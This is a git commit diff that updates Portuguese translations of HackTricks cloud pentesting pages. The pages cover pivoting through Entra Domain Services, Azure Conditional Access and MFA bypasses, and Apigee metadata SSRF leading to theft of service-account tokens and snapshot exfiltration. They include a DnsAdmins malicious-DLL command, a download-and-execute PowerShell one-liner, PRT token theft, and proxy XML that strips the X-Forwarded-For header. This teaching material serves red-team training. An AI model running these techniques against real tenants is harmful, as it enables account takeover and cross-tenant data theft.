Translated ['src/banners/hacktricks-training.md', 'src/pentesting-cloud/

This commit is contained in:
Translator
2026-02-12 13:44:44 +00:00
parent 025ad047e5
commit b200403167
5 changed files with 150 additions and 81 deletions

View File

@@ -1,11 +1,12 @@
Você pode remover este conteúdo antes de enviar o PR:
## Atribuição
Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você faça upload de conteúdo que você possui ou que tenha permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos.
Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você faça upload apenas de conteúdo que possua ou que tenha permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos.
## HackTricks Training
Se você está adicionando para que possa passar no exame de [ARTE certification](https://training.hacktricks.xyz/courses/arte) com 2 flags em vez de 3, você precisa chamar o PR de `arte-<username>`.
If you are sending a PR so you can pass the in the [ARTE certification](https://hacktricks-training.com/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`, `grte-<username>` or `azrte-<username>`, depending on the certification you are doing.
Além disso, lembre-se de que correções de gramática/sintaxe não serão aceitas para a redução de flags do exame.
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
De qualquer forma, obrigado por contribuir para o HackTricks!
In any case, thanks for contributing to HackTricks!

View File

@@ -1,14 +1,14 @@
> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
> <summary>Apoie o HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Participe do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ou do [**telegram group**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe hacking tricks enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>

View File

@@ -2,42 +2,42 @@
{{#include ../../../banners/hacktricks-training.md}}
## Domain Services
## Serviços de Domínio
Microsoft Entra Domain Services permite implantar um Active Directory no Azure sem precisar gerenciar Controladores de Domínio (na verdade, você nem tem acesso a eles).
Microsoft Entra Domain Services permite implantar um Active Directory no Azure sem precisar gerenciar Domain Controllers (na verdade você nem sequer tem acesso a eles).
Seu principal objetivo é permitir que você execute aplicativos legados na nuvem que não podem usar métodos modernos de autenticação, ou onde você não deseja que as consultas de diretório sempre voltem para um ambiente AD DS local.
Seu objetivo principal é permitir executar aplicações legadas na cloud que não conseguem usar métodos de autenticação modernos, ou quando você não quer que consultas de diretório sempre retornem para um ambiente on-premises AD DS.
Observe que, para sincronizar os usuários gerados no Entra ID (e não sincronizados de outros diretórios ativos) com o serviço de domínio AD, você precisa **mudar a senha do usuário** para uma nova, para que possa ser sincronizada com o novo AD. Na verdade, o usuário não é sincronizado do Microsoft Entra ID para os Serviços de Domínio até que a senha seja alterada.
Note que, para sincronizar os usuários gerados no Entra ID (e não sincronizados a partir de outros Active Directories) para o serviço de domínio AD, você precisa **alterar a senha do usuário** para uma nova para que ele possa ser sincronizado com o novo AD. Na verdade, o usuário não é sincronizado do Microsoft Entra ID para Domain Services até que a senha seja alterada.
> [!WARNING]
> Mesmo que você esteja criando um novo domínio de diretório ativo, não poderá gerenciá-lo completamente (a menos que explore algumas configurações incorretas), o que significa que, por padrão, por exemplo, você não pode criar usuários diretamente no AD. Você os cria **sincronizando usuários do Entra ID.** Você pode indicar para sincronizar todos os usuários (mesmo aqueles sincronizados de outros ADs locais), apenas usuários da nuvem (usuários criados no Entra ID) ou até mesmo **filtrá-los mais**.
> Mesmo se você estiver criando um novo domínio Active Directory, você não será capaz de gerenciá-lo completamente (a menos que explore algumas más configurações), o que significa que por padrão, por exemplo, você não pode criar usuários diretamente no AD. Você os cria **sincronizando usuários do Entra ID.** Você pode indicar sincronizar todos os usuários (mesmo aqueles sincronizados de outros ADs on-premises), apenas usuários cloud (usuários criados no Entra ID), ou até mesmo **filtrá-los mais.**
> [!NOTE]
> Em geral, devido à falta de flexibilidade na configuração do novo domínio e ao fato de que os ADs geralmente já estão no local, esta não é a principal integração entre Entra ID e AD, mas ainda é interessante saber como comprometê-lo.
> Em geral, devido à falta de flexibilidade na configuração do novo domínio e ao fato de que ADs geralmente já estão on-premises, esta não é a principal integração entre Entra ID e AD, mas ainda é interessante saber como comprometê-lo.
### Pivoting
Membros do grupo gerado **`AAD DC Administrators`** recebem permissões de administrador local em VMs que estão unidas ao domínio gerenciado (mas não nos controladores de domínio) porque são adicionados ao grupo de administradores locais. Membros deste grupo também podem usar **Remote Desktop para se conectar remotamente a VMs unidas ao domínio**, e também são membros dos grupos:
Membros do grupo gerado **`AAD DC Administrators`** recebem permissões de administrador local em VMs que estão domain-joined ao domínio gerenciado (mas não nos domain controllers), porque eles são adicionados ao grupo de administradores locais. Membros desse grupo também podem usar **Remote Desktop para se conectar remotamente a VMs domain-joined**, e também são membros dos grupos:
- **`Denied RODC Password Replication Group`**: Este é um grupo que especifica usuários e grupos cujas senhas não podem ser armazenadas em cache em RODCs (Controladores de Domínio Somente para Leitura).
- **`Group Policy Creators Owners`**: Este grupo permite que os membros criem Políticas de Grupo no domínio. No entanto, seus membros não podem aplicar políticas de grupo a usuários ou grupos ou editar GPOs existentes, então não é tão interessante neste ambiente.
- **`DnsAdmins`**: Este grupo permite gerenciar as configurações de DNS e foi abusado no passado para [escalar privilégios e comprometer o domínio](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), no entanto, após testar o ataque neste ambiente, foi verificado que a vulnerabilidade está corrigida:
- **`Denied RODC Password Replication Group`**: Este é um grupo que especifica usuários e grupos cujas senhas não podem ser armazenadas em cache em RODCs (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Este grupo permite que membros criem Group Policies no domínio. No entanto, seus membros não podem aplicar group policies a usuários ou grupos nem editar GPOs existentes, então não é tão interessante nesse ambiente.
- **`DnsAdmins`**: Este grupo permite gerenciar as configurações de DNS e foi abusado no passado para [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), entretanto, após testar o ataque neste ambiente, verificou-se que a vulnerabilidade está corrigida:
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
Note que, para conceder essas permissões, dentro do AD, o grupo **`AAD DC Administrators`** é feito membro dos grupos anteriores, e também a GPO **`AADDC Computers GPO`** está adicionando como Administradores Locais todos os membros do grupo de domínio **`AAD DC Administrators`**.
Note que, para conceder essas permissões, dentro do AD o grupo **`AAD DC Administrators`** é tornado membro dos grupos anteriores, e também a GPO **`AADDC Computers GPO`** adiciona como Local Administrators todos os membros do grupo de domínio **`AAD DC Administrators`**.
Fazer pivotagem do Entra ID para um AD criado com Domain Services é simples, basta adicionar um usuário ao grupo **`AAD DC Administrators`**, acessar via RDP a qualquer/todas as máquinas no domínio e você poderá roubar dados e também **comprometer o domínio.**
Fazer pivot de Entra ID para um AD criado com Domain Services é simples: basta adicionar um usuário ao grupo **`AAD DC Administrators`**, acessar via RDP qualquer/todas as máquinas do domínio e você poderá roubar dados e também **comprometer o domínio.**
No entanto, fazer pivotagem do domínio para o Entra ID não é tão fácil, pois nada do domínio está sendo sincronizado no Entra ID. No entanto, sempre verifique os metadados de todas as VMs unidas, pois suas identidades gerenciadas atribuídas podem ter permissões interessantes. Também **extraia todas as senhas dos usuários do domínio** e tente quebrá-las para então fazer login no Entra ID / Azure.
No entanto, fazer pivot do domínio para o Entra ID não é tão fácil, pois nada do domínio é sincronizado para o Entra ID. Ainda assim, sempre verifique os metadados de todas as VMs ingressas no domínio, pois as managed identities atribuídas podem ter permissões interessantes. Além disso, **dump all the users passwords from the domain** e tente crackálas para então fazer login no Entra ID / Azure.
> [!NOTE]
> Note que no passado, outras vulnerabilidades neste AD gerenciado foram encontradas que permitiram comprometer os DCs, [como esta](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Um atacante que comprometer o DC poderia muito facilmente manter persistência sem que os administradores do Azure notassem ou mesmo conseguissem removê-la.
> Note que no passado outras vulnerabilidades neste managed AD foram encontradas que permitiram comprometer os DCs, [como esta](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Um atacante que comprometesse o DC poderia muito facilmente manter persistência sem os admins do Azure perceberem ou mesmo conseguirem removêla.
### Enumeração
```bash
@@ -59,7 +59,7 @@ az rest --method post \
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

View File

@@ -1,16 +1,16 @@
# Az - Políticas de Acesso Condicional e Bypass de MFA
# Az - Conditional Access Policies & MFA Bypass
{{#include ../../../../banners/hacktricks-training.md}}
## Informações Básicas
As políticas de Acesso Condicional do Azure são regras configuradas no Microsoft Azure para impor controles de acesso a serviços e aplicações do Azure com base em certas **condições**. Essas políticas ajudam as organizações a proteger seus recursos aplicando os controles de acesso corretos nas circunstâncias adequadas.\
As políticas de acesso condicional basicamente **definem** **Quem** pode acessar **O Que** de **Onde** e **Como**.
Azure Conditional Access policies são regras definidas no Microsoft Azure para aplicar controles de acesso a serviços e aplicações do Azure com base em certas **condições**. Essas políticas ajudam as organizações a proteger seus recursos aplicando os controles de acesso certos nas circunstâncias corretas.\
As Conditional Access policies basicamente **definem** **Quem** pode acessar **O quê** de **Onde** e **Como**.
Aqui estão alguns exemplos:
1. **Política de Risco de Login**: Esta política pode ser configurada para exigir autenticação multifatorial (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum em comparação com seu padrão regular, como fazer login de um país diferente, o sistema pode solicitar autenticação adicional.
2. **Política de Conformidade de Dispositivo**: Esta política pode restringir o acesso aos serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso pode ser permitido apenas a partir de dispositivos que tenham software antivírus atualizado ou que estejam executando uma determinada versão do sistema operacional.
1. **Sign-In Risk Policy**: Essa política pode ser configurada para exigir autenticação multifator (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum comparado ao seu padrão regular, como fazer login a partir de outro país, o sistema pode solicitar autenticação adicional.
2. **Device Compliance Policy**: Essa política pode restringir o acesso a serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso poderia ser permitido apenas a partir de dispositivos que possuam antivírus atualizado ou que estejam executando uma determinada versão do sistema operacional.
## Enumeração
```bash
@@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-v
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
```
## Bypasses de Políticas de Acesso Condicional
## Políticas de Acesso Condicional Bypasses
É possível que uma política de acesso condicional esteja **verificando algumas informações que podem ser facilmente manipuladas, permitindo um bypass da política**. E se, por exemplo, a política estiver configurando MFA, o atacante poderá contorná-la.
É possível que uma política de acesso condicional esteja **verificando algumas informações que podem ser facilmente adulteradas permitindo um bypass da política**. E, por exemplo, se a política estivesse configurando MFA, o atacante será capaz de contorná-la.
Ao configurar uma política de acesso condicional, é necessário indicar os **usuários** afetados e os **recursos-alvo** (como todos os aplicativos em nuvem).
Ao configurar uma política de acesso condicional é necessário indicar os **usuários** afetados e os **recursos alvo** (como todas as cloud apps).
Também é necessário configurar as **condições** que irão **disparar** a política:
Também é necessário configurar as **condições** que irão **acionar** a política:
- **Rede**: IP, intervalos de IP e localizações geográficas
- Pode ser contornada usando uma VPN ou Proxy para se conectar a um país ou conseguindo fazer login a partir de um endereço IP permitido
- **Riscos da Microsoft**: Risco do usuário, risco de login, risco interno
- **Plataformas de dispositivos**: Qualquer dispositivo ou selecionar Android, iOS, Windows phone, Windows, macOS, Linux
- Se “Qualquer dispositivo” não estiver selecionado, mas todas as outras opções estiverem selecionadas, é possível contorná-la usando um user-agent aleatório não relacionado a essas plataformas
- **Aplicativos cliente**: As opções são “Navegador”, “Aplicativos móveis e clientes de desktop”, “Clientes Exchange ActiveSync” e “Outros clientes”
- Para contornar o login com uma opção não selecionada
- **Filtro para dispositivos**: É possível gerar uma regra relacionada ao dispositivo usado
- **Fluxos de autenticação**: As opções são “Fluxo de código de dispositivo” e “Transferência de autenticação
- Isso não afetará um atacante, a menos que ele esteja tentando abusar de qualquer um desses protocolos em uma tentativa de phishing para acessar a conta da vítima
- **Network**: IP, IP ranges e localizações geográficas
- Pode ser contornado usando uma VPN ou Proxy para conectar a um país permitido ou conseguindo fazer login a partir de um endereço IP permitido
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
- Se “Any device” não estiver selecionado mas todas as outras opções estiverem, é possível bypassar isso usando um user-agent aleatório não relacionado àquelas plataformas
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
- Para bypassar, efetuar login com uma opção não selecionada
- **Filter for devices**: É possível gerar uma regra relacionada ao dispositivo usado
- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer
- Isso não afetará um atacante a menos que ele esteja tentando abusar de qualquer um desses protocolos em uma tentativa de phishing para acessar a conta da vítima
Os possíveis **resultados** são: Bloquear ou Conceder acesso com condições potenciais como exigir MFA, dispositivo estar em conformidade…
Os possíveis **resultados** são: Bloquear ou Conceder acesso com potenciais condições como exigir MFA, dispositivo estar em conformidade…
### Plataformas de Dispositivos - Condição de Dispositivo
### Plataformas de Dispositivo - Condição do Dispositivo
É possível definir uma condição com base na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), no entanto, isso é baseado no **user-agent**, então é fácil de contornar. Mesmo **fazendo todas as opções exigirem MFA**, se você usar um **user-agent que não é reconhecido**, você poderá contornar o MFA ou bloqueio:
É possível definir uma condição baseada na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), entretanto isso se baseia no **user-agent**, então é fácil de contornar. Mesmo **forçando MFA em todas as opções**, se você usar um **user-agent que não seja reconhecido**, você conseguirá bypassar o MFA ou o bloqueio:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Apenas fazendo o navegador **enviar um user-agent desconhecido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) é suficiente para não disparar essa condição.\
Você pode mudar o user agent **manualmente** nas ferramentas de desenvolvedor:
Basta fazer o browser **enviar um user-agent desconhecido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) para não acionar essa condição.\
Você pode mudar o user agent **manualmente** nas ferramentas do desenvolvedor:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
Ou usar uma [extensão de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
Ou use uma [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Localizações: Países, intervalos de IP - Condição de Dispositivo
### Localizações: Países, intervalos de IP - Condição do Dispositivo
Se isso estiver definido na política condicional, um atacante poderia apenas usar uma **VPN** no **país permitido** ou tentar encontrar uma maneira de acessar a partir de um **endereço IP permitido** para contornar essas condições.
Se isso estiver definido na política condicional, um atacante poderia simplesmente usar uma **VPN** no **país permitido** ou tentar encontrar uma forma de acessar a partir de um **endereço IP permitido** para contornar essas condições.
### Aplicativos em Nuvem
### Cloud Apps
É possível configurar **políticas de acesso condicional para bloquear ou forçar**, por exemplo, MFA quando um usuário tenta acessar um **aplicativo específico**:
É possível configurar **políticas de acesso condicional para bloquear ou forçar**, por exemplo, MFA quando um usuário tenta acessar um **app específico**:
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Para tentar contornar essa proteção, você deve ver se consegue **apenas em qualquer aplicativo**.\
A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos hardcoded** e tentará fazer login neles e informá-lo, e até mesmo fornecer o token se for bem-sucedido.
Para tentar bypassar essa proteção você deve verificar se consegue efetuar login em qualquer aplicação.\
A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **tens de application IDs hardcoded** e tentará efetuar login neles, informando e até fornecendo o token se for bem-sucedida.
Para **testar IDs de aplicativos específicos em recursos específicos**, você também pode usar uma ferramenta como:
Para **testar application IDs específicos em recursos específicos** você também pode usar uma ferramenta como:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
Além disso, também é possível proteger o método de login (por exemplo, se você estiver tentando fazer login pelo navegador ou por um aplicativo de desktop). A ferramenta [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) realiza algumas verificações para tentar contornar essas proteções também.
Além disso, também é possível proteger o método de login (por exemplo, se você está tentando fazer login a partir do navegador ou de um aplicativo desktop). A ferramenta [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) realiza alguns cheques para tentar contornar essas proteções também.
A ferramenta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) também pode ser usada para propósitos semelhantes, embora pareça não estar mantida.
A ferramenta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) também pode ser usada para propósitos semelhantes, embora pareça não mantida.
A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no locatário e, em seguida, tentará fazer login neles.
A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Primeiro você precisa baixar a lista de Apps permitidos no tenant e então ela tentará fazer login neles.
## Outros Bypasses de Az MFA
## Outros Az MFA Bypasses
### Toque de chamada
### Toque
Uma opção de MFA do Azure é **receber uma chamada no número de telefone configurado**, onde será solicitado ao usuário que **envie o caractere `#`**.
Uma opção do Azure MFA é **receber uma chamada no número de telefone configurado**, onde será pedido ao usuário para **enviar o caractere `#`**.
> [!CAUTION]
> Como os caracteres são apenas **tons**, um atacante poderia **comprometer** a mensagem de **correio de voz** do número de telefone, configurando como mensagem o **tom de `#`** e, em seguida, ao solicitar o MFA, garantir que o **telefone da vítima esteja ocupado** (ligando para ele) para que a chamada do Azure seja redirecionada para o correio de voz.
> Como os caracteres são apenas **tons**, um atacante poderia **comprometer** a mensagem de **voicemail** do número de telefone, configurar como mensagem o **tom de `#`** e então, ao solicitar o MFA, certificar-se de que o **telefone da vítima esteja ocupado** (ligando para ele) para que a chamada do Azure seja direcionada para a caixa postal.
### Dispositivos Compatíveis
### Dispositivos em conformidade
As políticas frequentemente exigem um dispositivo compatível ou MFA, então um **atacante poderia registrar um dispositivo compatível**, obter um **token PRT** e **contornar assim o MFA**.
As políticas frequentemente exigem um dispositivo em conformidade ou MFA, então um **atacante poderia registrar um dispositivo em conformidade**, obter um token **PRT** e **contornar o MFA dessa forma**.
Comece registrando um **dispositivo compatível no Intune**, então **obtenha o PRT** com:
Comece registrando um **dispositivo em conformidade no Intune**, então **obtenha o PRT** com:
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
@@ -102,7 +102,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
```
Encontre mais informações sobre esse tipo de ataque na seguinte página:
Encontre mais informações sobre este tipo de ataque na seguinte página:
{{#ref}}
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
@@ -112,29 +112,29 @@ Encontre mais informações sobre esse tipo de ataque na seguinte página:
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
Este script obtém algumas credenciais de usuário e verifica se pode fazer login em algumas aplicações.
Este script obtém algumas credenciais de usuário e verifica se consegue fazer login em algumas aplicações.
Isso é útil para ver se você **não precisa de MFA para fazer login em algumas aplicações** que você pode posteriormente abusar para **escalar privilégios**.
Isto é útil para verificar se você **não é obrigado a usar MFA para fazer login em algumas aplicações** que pode mais tarde abusar para **escalar privilégios**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
Obtenha todas as políticas
Obtém todas as políticas
```bash
roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep é um script PowerShell que tenta **fazer login em vários serviços da Microsoft usando um conjunto de credenciais fornecido e tentará identificar se o MFA está habilitado**. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifatorial estão configuradas, alguns protocolos podem acabar sendo deixados como fator único. Ele também possui uma verificação adicional para configurações de ADFS e pode tentar fazer login no servidor ADFS local se detectado.
MFASweep é um script PowerShell que tenta **fazer login em diversos serviços Microsoft usando um conjunto de credenciais fornecidas e tentará identificar se o MFA está habilitado**. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifator estão configuradas, alguns protocolos podem acabar ficando com apenas um fator. Ele também possui uma verificação adicional para configurações ADFS e pode tentar fazer login no servidor ADFS on-prem se detectado.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
Esta ferramenta ajudou a identificar contornos de MFA e, em seguida, abusar de APIs em vários locatários AAD de produção, onde os clientes AAD acreditavam ter MFA aplicado, mas a autenticação baseada em ROPC foi bem-sucedida.
Esta ferramenta ajudou a identificar bypasses de MFA e depois abusar de APIs em múltiplos tenants AAD de produção, onde clientes AAD acreditavam ter MFA imposta, mas a autenticação baseada em ROPC teve sucesso.
> [!TIP]
> Você precisa ter permissões para listar todos os aplicativos para poder gerar a lista dos aplicativos a serem forçados.
> Você precisa ter permissões para listar todas as aplicações para poder gerar a lista de apps a brute-force.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
@@ -143,25 +143,25 @@ Esta ferramenta ajudou a identificar contornos de MFA e, em seguida, abusar de A
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token é um conjunto de funções que visa ajudar consultores de segurança que precisam validar Políticas de Acesso Condicional, testes para portais Microsoft com 2FA ativado, etc..
Donkey token é um conjunto de funções que tem como objetivo ajudar consultores de segurança a validar Conditional Access Policies, testar portais Microsoft com 2FA habilitado, etc..
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**Teste cada portal** se é possível **fazer login sem MFA**:
**Teste cada portal** para verificar se é possível **fazer login sem MFA**:
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Porque o **portal** **Azure** **não é restrito**, é possível **coletar um token do endpoint do portal para acessar qualquer serviço detectado** pela execução anterior. Neste caso, o Sharepoint foi identificado, e um token para acessá-lo é solicitado:
Como o **Azure** **portal** não é **restrito**, é possível **coletar um token do endpoint do portal para acessar qualquer serviço detectado** pela execução anterior. Neste caso, Sharepoint foi identificado e um token para acessá-lo é solicitado:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Supondo que o token tenha a permissão Sites.Read.All (do Sharepoint), mesmo que você não consiga acessar o Sharepoint pela web devido ao MFA, é possível usar o token para acessar os arquivos com o token gerado:
Supondo que o token tenha a permissão Sites.Read.All (do Sharepoint), mesmo que você não possa acessar o Sharepoint pela web por causa do MFA, é possível usar o token para acessar os arquivos com o token gerado:
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```

View File

@@ -0,0 +1,68 @@
# GCP - Apigee Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Apigee metadata SSRF -> Dataflow cross-tenant pivot
Um único projeto tenant do Apigee pode ser abusado para alcançar o servidor de metadata do Message Processor, roubar sua conta de serviço e pivotar para um pipeline de analytics do Dataflow compartilhado que lê/grava buckets entre tenants.
### Expose the metadata server through Apigee
- Defina um target de proxy do Apigee para `http://169.254.169.254` e solicite tokens de `/computeMetadata/v1/instance/service-accounts/default/token` com `Metadata-Flavor: Google`.
- O metadata do GCP rejeita requisições que contenham `X-Forwarded-For`; o Apigee o adiciona por padrão. Remova-o com `AssignMessage` antes de encaminhar pelo proxy:
```xml
<AssignMessage name="strip-xff">
<Remove>
<Headers>
<Header name="X-Forwarded-For"/>
</Headers>
</Remove>
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
</AssignMessage>
```
### Enumerar a service account Apigee roubada
- The leaked SA (Google-managed under `gcp-sa-apigee`) pode ser enumerada com ferramentas como [gcpwn](https://github.com/NetSPI/gcpwn) para testar rapidamente permissões.
- Permissões poderosas observadas incluíam **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, e **Pub/Sub topic publish**. Descoberta básica:
```bash
gcloud compute disks list --project <tenant-project>
```
### Exfiltração de snapshot para serviços gerenciados opacos
Com direitos de disk/snapshot você pode inspecionar runtimes gerenciados offline mesmo que não consiga acessar o projeto do tenant:
1. Crie um snapshot de um disco alvo no projeto do tenant.
2. Copie/migre o snapshot para o seu projeto.
3. Recrie um disk a partir do snapshot e anexe-o à sua VM.
